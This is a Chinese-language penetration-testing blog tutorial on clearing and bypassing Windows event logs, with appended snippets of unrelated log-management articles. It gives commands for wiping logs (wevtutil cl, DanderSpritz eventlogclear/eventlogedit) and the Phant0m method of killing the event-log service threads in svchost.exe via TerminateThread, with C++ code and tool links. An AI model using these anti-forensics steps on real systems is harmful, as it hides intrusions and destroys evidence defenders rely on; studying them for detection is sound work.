渗透技巧——Windows日志的删除与绕过

0x00 前言



在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录执行等。

对于一次完整的渗透测试,通常会选择对Windows日志进行清除和绕过,而对于防御者来说,了解常用的绕过方法也有助于更好的保护自己的系统。

所以本文将要介绍常见的Windows日志清除与绕过方法,分享经验,帮助大家。

0x01 简介



本文将要介绍以下内容:

  • Windows日志的常用清除方法
  • Windows日志的两种绕过方法

0x02 Windows日志



Windows日志包括五个类别:

  • 应用程序
  • 安全
  • Setup
  • 系统
  • 转发事件

查看方式:

1、 通过面板

位置如下:

Control Panel\System and Security-View event logs-Windows Logs

如下图

2、 通过Powershell

常用命令如下:

(管理员权限)

查看所有日志:

Get-WinEvent

查看应用程序类别下的日志:

Get-WinEvent -FilterHashtable @{logname="Application";}

0x03 Windows日志的常用清除方法


1、wevtutil.exe

操作系统默认包含,支持系统:Win7及以上

常用命令如下:

(1) 统计日志列表,查询所有日志信息,包含时间,数目

wevtutil.exe gli Application

操作如下图

(2) 查看指定类别的日志内容

wevtutil qe /f:text Application

操作如下图

(3) 删除该类日志所有内容

wevtutil cl Application

操作如下图

Application日志全部清除,数目为0

(4) 删除单条内容

尚不支持

2、NSA DanderSpiritz

DanderSpritz是NSA的一款界面化的远控工具

相关介绍可参考:

https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97-%E6%9C%A8%E9%A9%AC%E7%94%9F%E6%88%90%E4%B8%8E%E6%B5%8B%E8%AF%95/

常用命令如下:

(1) 统计日志列表,查询所有日志信息,包含时间,数目

eventlogquery -log Application

(2) 查看指定类别的日志内容

eventlogfilter -log Application -num 10

(3) 删除该类日志所有内容

eventlogclear -log Application

(4) 删除单条内容

eventlogedit -log Application -record 1

注:

record序号可通过eventlogfilter获得

0x04 Windows日志的绕过方法



本文介绍的思路参考自Halil [email protected]的文章,地址如下:

https://artofpwn.com/phant0m-killing-windows-event-log.html

绕过原理:

Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能

特别的地方:

由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行

绕过方法一

1、 定位eventlog服务对应进程svchost.exe的pid

2、 遍历该进程中的所有线程

3、 判断线程是否满足条件

Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%\System32\wevtsvc.dll

并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能

4、 结束线程

使用TerminateThread

注:

Halil [email protected]使用powershell实现了方法一,完整代码可参考:

https://github.com/hlldz/Invoke-Phant0m

powershell脚本执行后,Windows日志功能失效,无法记录日志,操作如下图

5、 恢复方法

结束进程svchost.exe

重新开启Windows Event Log 服务:

net start eventlog

操作如下图

绕过方法二

1、 定位eventlog服务对应进程svchost.exe的pid

powershell代码如下:

Get-WmiObject -Class win32_service -Filter "name = ‘eventlog‘" | select -exp ProcessId

找到svchost.exe的pid为7008,如下图

2、 遍历该进程中的所有线程

使用PsList

下载地址:

https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx

具体参数如下:

pslist.exe /accepteula -d 7008

获取进程svchost.exe中的所有线程,如下图

3、 判断线程是否满足条件

获取线程对应的服务,如果为eventlog,则满足条件

使用工具:ScTagQuery

下载地址:

http://www.winsiderss.com/tools/sctagquery/sctagqry.zip

具体参数如下:

sctagqry.exe -t 7928

根据返回的结果Service Tag,判断线程对应的服务

找到对应eventlog的线程,如下图

线程8136符合条件,依次尝试,直到获取所有符合条件线程

注:

使用Process Explorer可以简化此过程

找到eventlog服务对应进程svchost.exe

如下图

右键查看属性,选择Threads标签,查看线程,可直接获得线程对应的服务

如下图

符合条件的线程TID为:

  • 8136
  • 8052
  • 6708
  • 2316
  • 6356

4、 结束线程

调用TerminateThread

通过c++实现,部分代码如下:

int main(int argc, char* argv[])
{
	printf("TerminateThread TID:\n");
	for(int i=1;i<argc;i++)
	{
		printf("%s\n",argv[i]);
		HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
		if(TerminateThread(hThread,0)==0)
			printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
		CloseHandle(hThread);
	}
	return 0;
}

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp

控制台支持传入多个参数,向其传入5个TID: 8136 8052 6708 2316 6356

自动结束对应线程,日志功能失效

具体操作如下图

注:

稍后我会在github上更新该绕过方法的完整实现代码,地址如下:

https://github.com/3gstudent/Windwos-EventLog-Bypass

0x05 补充


1、安装sysmon可对Windows日志功能进行扩展

相关介绍和绕过思路可参考;

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/

2、绕过方法仅针对Windows日志

对应用程序和服务日志失效,例如Windows Powershell

如下图

0x06 小结



本文对Windows日志的清除和绕过方法做了介绍,希望能够帮助大家,接下来会分享绕过方法二的具体程序实现方法。

时间: 2024-11-07 20:13:52

渗透技巧——Windows日志的删除与绕过的相关文章

Linux认证用Syslog记录UNIX和Windows日志的方法

Linux认证用Syslog记录UNIX和Windows日志的方法,在网络中安排一台专用的日志服务器来记录系统日志是一个比较理想的方案.本文以FreeBSD下的syslog为例,介绍如何利用freebsd的syslogd来记录来自UNIX和windows的log信息. 在比较大规模的网络应用或者对安全有一定要求的应用中,通常需要对系统的日志进行记录分类并审核,默认情况下,每个系统会在本地硬盘上记录自己的日 志,这样虽然也能有日志记录,但是有很多缺点:首先是管理不便,当服务器数量比较多的时候,登陆

windows下自动删除过期文件的脚本

前言: 比如日志文件每天都产生,时间长了就会有很大的一堆垃圾.整理一下 定时删除文件的方法. 正文: Windows: 定时删除tomcat日志和缓存.可以保留天数 forfiles /p "e:\Program Files\Tomcat 7.0\logs" /s /m *.log /d -5 /c "cmd /c del @path" forfiles /p "e:\Program Files\Tomcat 7.0\logs" /s /m *.

Windows日志筛选

Windows日志筛选 因工作需求开启文件系统审核,因Windows日志管理器并不方便筛选查阅,所以使用powershell方法进行筛选. 一.需求分析 存在问题 日志量巨大(每天约1G) 日志管理器查询日志不便 主要目标 启用文件系统审核 快捷查询用户的删除操作 解决方案 采用轮替方式归档日志(500MB) 日志存放60天(可用脚本删除超过期限日志档案) 使用Get-WinEvent中的FilterXPath过日志进行筛选,格式打印 删除操作码为0x10000,可对其进行筛选 二.文件审核设置

Linux下定时切割Mongodb数据库日志并删除指定天数前的日志记录(转)

文章转自:http://www.osyunwei.com/archives/8998.html 说明: 操作系统:CentOS Mongodb安装目录:/usr/local/mongodb Mongodb数据库存放目录:/home/data/mongodb/mongodb_data Mongodb日志存放目录:/home/data/mongodb/mongodb_log 实现目的: 对Mongodb数据库日志按天保存,并且只保留最近7天的日志记录. 具体操作: 使用Mongodb数据库自带的命令

windows server 2012删除没有控制器的子域

公司在域内建立了一个分公司子域,在测试过程中,不小心把子域控制器的虚拟机退了快照,子域控制器消失了...公司决定删除这个子域.实验目的:删除没有控制器的子域.实验环境:虚机2台vm1: 192.168.0.1/24   dc.abc.com 主域控 windows server 2012r2 评估版vm2: 192.168.0.2/24   dc2   windows server 2012r2实验操作步骤:1.vm2:    1.1把vm2加入 abc.com ,步骤略:    1.2把vm2

windows云主机 删除 软盘和光驱

windows云主机 删除 软盘和光驱,布布扣,bubuko.com

zabbix监控windows日志脚本

zabbix监控windows日志脚本     脚本用于监控windows服务器上日志,查看日志文件的末尾N行,如果N行中包含某字段,则输出0,否则输出1,然后再zabbix的配置文件空定义kye,进行监控. 文本文件的换行符是"\n" 编辑脚本log.py import sys import re def last_lines(filename, lines = 1):     lines = int(lines)     block_size = 1024     block = 

用LogParser分析Windows日志

用LogParser分析Windows日志 实战案例分享 如果你已具有上面的基础知识,那么下面为你准备了更加深入的应用操作视频(从安装到使用的全程记录): http://www.tudou.com/programs/view/SWoIeUkUWWQ/ 用LogParser分析Windows日志

c#.NET中日志信息写入Windows日志中解决方案

1. 目的应用系统的开发和维护离不开日志系统,选择一个功能强大的日志系统解决方案是应用系统开发过程中很重要的一部分.在.net环境下的日志系统解决方案有许多种,log4net是其中的佼佼者.在Windows2000及以上操作系统中,有一个Windows日志系统,它包括应用程序(Application)事件日志.系统(System)日志和安全(Security)日志,事件日志也可以是自定义日志.在.net Framework中也提供了相应的类和接口来使用应用程序事件日志或者自定义事件日志.使用Wi